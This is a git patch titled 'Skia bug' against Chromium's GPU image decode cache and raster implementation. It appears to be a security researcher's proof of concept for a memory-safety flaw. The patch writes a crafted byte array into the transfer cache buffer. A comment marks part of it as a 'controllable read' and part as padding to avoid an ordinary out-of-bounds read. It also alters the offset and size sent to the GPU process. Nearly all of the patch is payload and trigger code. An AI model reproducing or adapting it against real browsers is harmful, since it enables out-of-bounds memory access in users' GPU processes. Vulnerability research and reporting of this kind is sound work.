From 7827890bb717a70506a1e786247d84bccb49bc17 Mon Sep 17 00:00:00 2001 From: Brendon Tiszka Date: Tue, 27 Feb 2024 11:57:59 -0500 Subject: [PATCH] Skia bug --- cc/tiles/gpu_image_decode_cache.cc | 70 +++++++++++++++++++ .../client/raster_implementation.cc | 6 +- 2 files changed, 75 insertions(+), 1 deletion(-) diff --git a/cc/tiles/gpu_image_decode_cache.cc b/cc/tiles/gpu_image_decode_cache.cc index 4c108d4316cc3..b80552be6f41b 100644 --- a/cc/tiles/gpu_image_decode_cache.cc +++ b/cc/tiles/gpu_image_decode_cache.cc @@ -8,6 +8,7 @@ #include #include +#include #include #include "base/auto_reset.h" @@ -2304,6 +2305,75 @@ void GpuImageDecodeCache::InsertTransferCacheEntry( if (data) { bool succeeded = image_entry.Serialize( base::make_span(static_cast(data), size)); + unsigned char memory[] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x00, 0x00, + 0x5f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, + 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x07, 0x5d, 0x7f, 0x00, 0x02, 0x00, 0x00, 0x00, 0x08, 0x00, + 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x01, 0xff, 0x70, 0xff, 0xff, 0xff, 0x00, 0x40, 0x22, + 0x07, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x74, 0x59, 0x3a, 0xfa, 0x00, 0x00, 0x00, 0x45, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x11, 0x00, + 0x40, 0x22, 0x07, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x24, 0x5a, 0x51, 0x97, 0xc0, 0xdd, 0x5d, 0x24, + 0x97, 0xf0, 0x59, 0xa0, 0xc9, 0x6b, 0x71, 0x8c, 0xc3, 0x70, + 0x16, 0x86, 0xa9, 0x6c, 0x11, 0x00, 0x40, 0x22, 0x07, 0x00, + 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74, + 0x59, 0x3a, 0xfa, 0x00, 0xe8, 0x00, 0x00, 0x00, 0x45, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x11, 0x00, + 0x40, 0x22, 0x07, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x16, 0x86, + 0xa9, 0x6c, 0x11, 0x00, 0x40, 0x22, 0x07, 0x00, 0x00, 0x00, + 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0x59, 0x3a, + 0xfa, 0x00, 0xe9, 0x00, 0x00, 0x00, 0x5c, 0x00, 0x00, 0x00, + 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0x7f, + 0x00, 0xf3, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x3f, 0x00, + 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x7f, 0x11, 0x00, + 0x40, 0x22, 0x07, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x74, 0x59, 0x3a, 0xfa, 0x00, 0xe9, 0x00, + 0x00, 0x00, 0x45, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0xff, 0x11, 0x00, 0x40, 0x22, 0x07, 0x00, 0x00, 0x00, + 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, + 0x00, 0x00, + + // Controllable read + 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x00, 0x00, + + // Padding to prevent a normal OOB read + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00 + }; + memcpy(data, memory, sizeof(memory)); DCHECK(succeeded); context_->ContextSupport()->UnmapAndCreateTransferCacheEntry( image_entry.UnsafeType(), image_entry.Id()); diff --git a/gpu/command_buffer/client/raster_implementation.cc b/gpu/command_buffer/client/raster_implementation.cc index ebf2dcf9de45c..431f9f64ebd4a 100644 --- a/gpu/command_buffer/client/raster_implementation.cc +++ b/gpu/command_buffer/client/raster_implementation.cc @@ -13,6 +13,7 @@ #include #include +#include #include #include #include @@ -786,9 +787,12 @@ void RasterImplementation::IssueCreateTransferCacheEntry( GLuint data_shm_id, GLuint data_shm_offset, GLuint data_size) { + std::cout << "IssueCreateTransferCacheEntry " << data_shm_offset << " " + << data_size << std::endl; helper_->CreateTransferCacheEntryINTERNAL(entry_type, entry_id, handle_shm_id, handle_shm_offset, data_shm_id, - data_shm_offset, data_size); + data_shm_offset + 6, 327); + } void RasterImplementation::IssueDeleteTransferCacheEntry(GLuint entry_type, -- 2.44.0.rc1.240.g4c46232300-goog